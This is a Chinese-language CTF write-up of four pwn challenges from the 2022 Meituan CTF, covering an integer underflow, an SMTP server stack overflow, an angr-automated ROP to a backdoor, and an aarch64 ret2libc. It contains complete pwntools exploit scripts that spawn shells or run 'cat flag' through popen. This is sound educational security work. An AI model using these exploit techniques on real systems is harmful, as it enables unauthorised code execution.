分析程序是一个菜单选择,其中Edit函数里面存在整数溢出:
但number为负数时,会对数组反方向的数据进行操作。
同时,checksec发现PIE和canary保护机制没有开启:
tolele@tolele-ubuntu22:~/CTFgame/2022MTCTF/pwn $ checksec note
[*] '/home/tolele/CTFgame/2022MTCTF/pwn/note'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
那么,可以先试着对堆数组的下边(反方向)查看,看看有没有可利用的东西。
从IDA可得知:.text:0000000000401714 call Edit
我们可以在0x401714处断下,然后用si步入Edit函数,在继续si直到rsp/rbp布置好后,查看栈上的内容:
第一次先泄露出libc基址,第二次再进行getshell。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process("./note")
elf = ELF("./note")
libc = ELF("./libc-2.31.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x4017b3
main = 0x401679
def add(size, content):
io.sendlineafter("5. leave", "1")
io.sendlineafter("Size:", str(size))
io.sendlineafter("Content:", content)
def edit(idx, content):
io.sendlineafter("5. leave", "3")
io.sendlineafter("Index: ", str(idx))
io.sendlineafter("Content: ", content)
def debug():
gdb.attach(io)
pause()
payload = b'A'*8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
edit(-6, payload)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym['puts']
print("@@@ libc_base = " + str(hex(libc_base)))
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
ret = 0x40101a
payload = b'A'*8 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
edit(-6, payload)
io.interactive()
一道stmp的协议逆向题,程序比较大,先执行程序根据信息再进行分析。
// 执行程序充当服务端
tolele@tolele-ubuntu22:~/CTFgame/2022MTCTF/pwn/smtp/docker/bin $ ./pwn
listener: waiting for connections... //连接前就输出的信息
listener: got connection from 127.0.0.1 //以下为连接后输出的信息
listener: initiated a new session worker
session 5: starting work, state 0
| //等待客户端的请求...
// 连接,充当客户端
tolele@tolele-ubuntu22:~/CTFgame/2022MTCTF/pwn/smtp/docker/bin $ nc 127.0.0.1 9999
220 SMTP tsmtp
| //等待输入请求...
有了这些信息后,接着静态分析程序:
// main函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
if ( argc == 2 )
listener((char *)argv[1]);
listener("9999"); //不特定监听端口则默认9999
}
//listener函数
void __cdecl __noreturn listener(char *service)
{
// ...略...
puts("listener: waiting for connections..."); //等待连接(对应已获取的信息)
epfd = epoll_create(16);
event.data.fd = fd;
event.events = 1;
epoll_ctl(epfd, 1, fd, &event);
events = (struct epoll_event *)calloc(0x10u, 0xCu);
while ( 1 )
{
v12 = epoll_wait(epfd, events, 1, -1);
for ( i = 0; i < v12; ++i )
{
if ( fd == events[i].data.fd )
{
addr_len = 128;
v11 = accept(fd, &addr, &addr_len);
v1 = (const void *)get_in_addr(&addr);
inet_ntop(addr.sa_family, v1, buf, 0x2Eu);
printf("listener: got connection from %s\n", buf); //连接
arg = malloc(0x14u);
*(_DWORD *)arg = v11;
*((_DWORD *)arg + 1) = 0;
pthread_create(&newthread, 0, (void *(*)(void *))session_worker, arg); //创建线程,去执行session_work函数
puts("listener: initiated a new session worker");
}
}
}
}
// session_worker函数
void *__cdecl session_worker(int *a1)
{
// ...略...
v35 = a1;
fd = *a1;
session_reset(a1);
printf("session %d: starting work, state %d\n", fd, a1[1]);
v1 = strlen(off_804D0A0[0]);
send(fd, off_804D0A0[0], v1, 0);
// ...略...
while ( v35[1] != 5 )
{
v29 = epoll_wait(epfd, events, 1, timeout);
if ( !v29 )
{
close(fd);
printf("session %d: timeout, work is over\n", fd);
break;
}
if ( v29 == 1 )
{
memset(s, 0, 0x400u);
v28 = recv(fd, s, nmemb - 1, 0); //接收到请求,赋给s
if ( !v28 )
{
printf("session %d: client closed connection\n", fd);
break;
}
if ( v28 < 0 )
{
printf("session %d: recv error\n", fd);
break;
}
ptr = (void *)parse_request((char *)s); //解析请求
if ( v35[1] != 4 || *(_DWORD *)ptr == 4 )
{
if ( v35[1] == 4 && *(_DWORD *)ptr == 4 && strlen((const char *)s) > 3 )
{
if ( *(_DWORD *)(v35[4] + 8) )
{
v7 = strlen((const char *)s);
v24 = v7 + strlen(*(const char **)(v35[4] + 8)) + 1;
v23 = (char *)malloc(v24);
v8 = strlen(*(const char **)(v35[4] + 8));
strncpy(v23, *(const char **)(v35[4] + 8), v8 + 1);
v9 = strlen((const char *)s);
strncat(v23, (const char *)s, v9 - 5);
v23[v24] = 0;
free(*(void **)(v35[4] + 8));
*(_DWORD *)(v35[4] + 8) = v23;
}
else
{
v6 = v35[4];
*(_DWORD *)(v6 + 8) = strdup((const char *)s);
}
if ( *((_DWORD *)ptr + 1) )
free(*((void **)ptr + 1));
}
switch ( *(_DWORD *)ptr )
{
case 0: // HELO
session_reset(v35);
if ( !v35[1] )
{
v10 = strlen(server_replies[0]);
send(fd, server_replies[0], v10, 0);
}
v35[1] = 1;
v11 = strdup(*((const char **)ptr + 1));
v35[3] = (int)v11;
printf("session %d: state changed to greeted\n", fd);
break;
case 1: // MAIL FROM:
if ( v35[1] != 1 )
goto LABEL_41;
v35[1] = 2;
v12 = (char **)v35[4];
*v12 = strdup(*((const char **)ptr + 1));
v13 = strlen(server_replies[0]);
send(fd, server_replies[0], v13, 0);
printf("session %d: got mail from\n", fd);
break;
case 2: // RCPT TO:
if ( v35[1] != 2 && v35[1] != 3 )
goto LABEL_41;
v35[1] = 3;
v14 = v35[4];
*(_DWORD *)(v14 + 4) = strdup(*((const char **)ptr + 1));// 重点
v15 = strlen(server_replies[0]);
send(fd, server_replies[0], v15, 0);
printf("session %d: state changed to got receipients\n", fd);
break;
case 3: // DATA
if ( v35[1] != 3 )
goto LABEL_41;
v35[1] = 4;
v16 = strlen(off_804D0A8[0]);
send(fd, off_804D0A8[0], v16, 0);
printf("session %d: state changed to data receival\n", fd);
break;
case 4: // .\r\n
if ( v35[1] == 4 )
{
session_submit(v35);
session_reset(v35);
v35[1] = 1;
v17 = strlen(server_replies[0]);
send(fd, server_replies[0], v17, 0);
printf("session %d: data transaction over, state changed to greeted\n", fd);
}
else
{
LABEL_41:
v18 = strlen(off_804D0B0);
send(fd, off_804D0B0, v18, 0);
}
break;
case 5:
v35[1] = 5;
v19 = strlen(off_804D0AC[0]);
send(fd, off_804D0AC[0], v19, 0);
printf("session %d: state changed to quit\n", fd);
break;
default:
v20 = strlen(off_804D0A4[0]);
send(fd, off_804D0A4[0], v20, 0);
printf("session %d: syntax error\n", fd);
break;
}
}
else
{
//...略...
}
free(ptr);
}
}
free(s);
free(a1);
printf("session %d: finished\n", fd);
close(fd);
return 0;
}
// 请求解析函数,parse_request
_DWORD *__cdecl parse_request(char *s)
{
char *argument_string_start; // [esp+4h] [ebp-14h]
char *ptr; // [esp+8h] [ebp-10h]
_DWORD *v4; // [esp+Ch] [ebp-Ch]
v4 = malloc(8u);
*v4 = get_session_command(s);
if ( *v4 == -1 )
{
v4[1] = 0;
return v4;
}
else
{
v4[1] = 0;
ptr = strdup(s);
argument_string_start = (char *)get_argument_string_start(ptr, *v4);
if ( *argument_string_start )
v4[1] = strdup(argument_string_start);
free(ptr);
return v4;
}
}
// 对应的请求命令
int __cdecl get_session_command(char *s1)
{
size_t v2; // eax
if ( !strncmp(s1, "HELO", 4u) )
return 0;
if ( !strncmp(s1, "MAIL FROM:", 0xAu) )
return 1;
if ( !strncmp(s1, "RCPT TO:", 8u) )
return 2;
if ( !strncmp(s1, "DATA", 4u) )
return 3;
if ( !strncmp(s1, ".\r\n", 3u) )
return 4;
v2 = strlen(s1);
if ( !strncmp(&s1[v2 - 5], "\r\n.\r\n", 5u) )
return 4;
if ( !strncmp(s1, "QUIT", 4u) )
return 5;
return -1;
}
通过对这几个case代码审计,发现漏洞存在case 4的session_submit函数中的sender_worker中。
// session_submit函数
int __cdecl session_submit(_DWORD *a1)
{
pthread_t newthread[2]; // [esp+Ch] [ebp-Ch] BYREF
printf("session %d: received message '%s'\n", *a1, *(const char **)(a1[4] + 8));
printf("session %d: handing off message to sender\n", *a1);
return pthread_create(newthread, 0, sender_worker, (void *)a1[4]);
}
// sender_worker函数
void *__cdecl sender_worker(const char **a1)
{
char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
const char **v3; // [esp+10Ch] [ebp-Ch]
puts("sender: starting work");
v3 = a1;
len = strlen(a1[1]);
puts("sender: sending message....");
printf("sender: FROM: %s\n", *a1);
if ( strlen(*a1) <= 79 )
strcpy(from, *v3); //from:0x0804d140
if ( len <= 0xFFu )
{
printf("sender: TO: %s\n", v3[1]);
}
else
{
memset(s, 0, sizeof(s));
strcpy(s, v3[1]); //直接拷贝,存在溢出
printf("sender: TO: %s\n", s);
}
puts("sender: BODY:");
if ( v3[2] )
printf("%s", v3[2]);
else
puts("No body.");
putchar(10);
puts("sender: finished");
return 0;
}
现在知道了在sender_worker中,v3[1]会导致栈溢出。我们还需要知道v3[1]对应的是哪个命令的数据,我们可以逐函数反推。反推可得v3[1]是”RCPT TO:”后面接着的数据,但其需要最后处理.\r\n时才能触发。
popen函数可以执行任意可执行命令,我们可以在MAIL FROM:后添加数据,向bss段写入”cat flag >&5”,然后使用popen(“cat flag >&5”, “r”)读取flag。>&5是需要重定向,具体的值需要一个个试。
理论上:payload = b’a’ * 0x110 + p32(elf.plt[‘popen’]) + p32(0xdeadbeef) + p32(bss) + p32(read)
但执行过程发现crash了,调试发现,程序断在了这里:
原因是上一步把’aaaa’传给了eax,导致下个指令对一个无效地址进行访问,导致了SIGSEGV。所以我们需要在[ebp - 0xc]处给个有效地址。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
io = remote("127.0.0.1", 9999)
elf = ELF("./pwn")
io.sendlineafter(b'220 SMTP tsmtp', b'HELO')
io.sendlineafter(b'250 Ok', b'MAIL FROM:' + b'cat flag >&5') # shellcode
read = elf.search(b'r\x00').__next__()
bss = 0x0804D140
payload = b'a' * 0x100 + p32(0x08049024) + b'a' * 0xc + p32(elf.plt['popen']) + p32(0xdeadbeef) + p32(bss) + p32(read)
io.sendlineafter(b'250 Ok', b'RCPT TO:' + payload)
io.sendlineafter(b'250 Ok', b'DATA' + b'bbbb')
io.sendline(b'.\r\n')
io.interactive()
下面是程序的函数调用关系图,这样一看,倒不算是太复杂。但点进main函数一看,💩💩💩。
事后诸葛亮一波:
程序中给出了backdoor函数可以直接getshell,由于函数里面大量出现了input_val和input_line的输入函数,所以可以优先考虑简单的栈溢出。input_line函数会对局部变量进行输入,这么多变量,我们可以从靠近rbp一端的变量开始按顺序寻找,查看函数中哪里引用了变量。对着变量右键,Jump to xref
,就可以查看哪里引用了该变量。
通过查找,发现了变量v341存在栈溢出:
我们首先通过angr找到能执行到该路径的符号变量,然后添加能执行getshell的约束,当符号变量满足时,发送数据去getshell(噢~这糟糕的表达🤧)。因为程序执行过程中fksth
、input_line
和input_val
函数会大量执行,且其内部含有循环,为了防止探索过程中路径爆炸,需要编写相应的hook函数对其替代。具体的hook函数见exp中的ReplacementCheckEquals
、ReplacementInputVal
和ReplacementCheckInput
函数。至于文中state的unconstrained
,个人理解是保存需要用户输入的路径。
本题的一个疑惑点是add_constraints函数具体做了什么?d = simgr.explore()之后,d.unconstrained是固定的了,那每个路径约束的符号变量会不会是多个呢?如果是单个的话,显然后面的添加的约束就没有意义了。还有就是添加的约束是要求对地址绝对的符合,如果符号变量的随机模拟的,岂不是相当于爆破?不过,执行exp很快就有结果了,个人猜测:某次检查符号变量不满足那两个约束后,下一次生成符号变量时,angr会不会有什么机制根据上一次的受阻约束来进行调整,从而生成满足这两个约束的符号变量。
看来还得深入了解~
# 来自toka师傅的exp
# ipython3 exp.py
from pwn import *
import angr
import claripy
import base64
ret_rop = 0x4013C8
r=process("./pwn")
p = angr.Project("./pwn")
def getBVV(state, sizeInBytes, type = 'str'):
global pathConditions
name = 's_' + str(state.globals['symbols_count'])
bvs = claripy.BVS(name, sizeInBytes * 8)
state.globals['symbols_count'] += 1
state.globals[name] = (bvs, type)
return bvs
def angr_load_str(state, addr):
s, i = '', 0
while True:
ch = state.solver.eval(state.memory.load(addr + i, 1))
if ch == 0: break
s += chr(ch)
i += 1
return s
class ReplacementCheckEquals(angr.SimProcedure):
def run(self, str1, str2):
cmp1 = angr_load_str(self.state, str2).encode("ascii")
cmp0 = self.state.memory.load(str1, len(cmp1))
self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32))
class ReplacementCheckInput(angr.SimProcedure):
def run(self, buf, len):
len = self.state.solver.eval(len)
self.state.memory.store(buf, getBVV(self.state, len))
class ReplacementInputVal(angr.SimProcedure):
def run(self):
self.state.regs.rax = getBVV(self.state, 4, 'int')
p.hook_symbol("fksth", ReplacementCheckEquals())
p.hook_symbol("input_line", ReplacementCheckInput())
p.hook_symbol("input_val", ReplacementInputVal())
enter = p.factory.entry_state()
enter.globals['symbols_count'] = 0
simgr = p.factory.simgr(enter, save_unconstrained=True)
d = simgr.explore()
backdoor = p.loader.find_symbol('backdoor').rebased_addr
for state in d.unconstrained:
bindata = b''
rsp = state.regs.rsp
next_stack = state.memory.load(rsp, 8, endness=p.arch.memory_endness)
state.add_constraints(state.regs.rip == ret_rop)
state.add_constraints(next_stack == backdoor)
for i in range(state.globals['symbols_count']):
s, s_type = state.globals['s_' + str(i)]
if s_type == 'str':
bb = state.solver.eval(s, cast_to=bytes)
if bb.count(b'\x00') == len(bb):
bb = b'A' * bb.count(b'\x00')
bindata += bb
print(bb)
elif s_type == 'int':
bindata += str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' '
print(str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' ')
print(bindata)
r.send(bindata)
r.interactive()
break
tolele@tolele-ubuntu22:~/CTFgame/2022MTCTF/pwn/aarch $ checksec pwn
[*] '/home/tolele/CTFgame/2022MTCTF/pwn/aarch/pwn'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3f0000)
一道aarch64指令架构的题,具体的指令可以自行上网搜索。
用IDA进行静态分析:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [xsp+1Ch] [xbp+1Ch]
init(argc, argv, envp);
do
{
while ( 1 )
{
menu();
v4 = get_int();
if ( v4 == 3 )
exit(0);
if ( v4 != 1 )
break;
puts("sensible>>");
leak(); // 泄露libc基址
}
}
while ( v4 != 2 );
puts("sensible>>");
overflow(); // 栈溢出
return 0;
}
// leak函数
__int64 leak()
{
const char *buf; // [xsp+18h] [xbp+18h] BYREF
buf = 0LL;
read(0, &buf, 8uLL);
return puts(buf);
}
leak函数只要输入puts_got,就可以直接泄露libc基址。不过要注意因为该架构下libc地址中有\x00字节产生截断,所以需要加上0x4000000000。
// overflow函数
__int64 overflow()
{
char s[128]; // [xsp+10h] [xbp+10h] BYREF
printf("> ");
gets(s);
puts("Your Input: \n");
puts(s);
return 0LL;
}
Leak完后会有个overflow函数用于ROP利用。这里我打算使用的gadget是libc里的这段,把/bin/sh的地址放入x0,system函数的地址放入x30,然后ret执行。
from pwn import *
context(os='linux', arch='aarch64', log_level='debug')
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
puts_got =elf.got['puts']
io.sendlineafter("3.Exit.", "1")
io.sendafter("sensible>>\n", p64(puts_got))
libc_base = u64(io.recv(3).ljust(8, b'\x00')) + 0x4000000000 - libc.symbols['puts']
print("@@@ libc_base = " + str(hex(libc_base)))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
gadget = libc_base + 0x63e5c
io.sendlineafter("3.Exit.", "2")
payload = b'A'*(128+8) + p64(gadget) + p64(0)*3 + p64(system) + p64(0) + p64(binsh)
io.sendlineafter("sensible>>", payload)
io.interactive()
在本地打的时候,一开始没打通,调试发现libc的基址竟然时0x55开头,将exp中的0x4000000000改成0x5500000000就好了。难道是环境没模拟好?🤔
2022年第五届美团CTFpwn题附件:
链接:https://pan.baidu.com/s/1paNMlzjTSinRXG7adwxDQA
提取码:lele
↶ 返回首页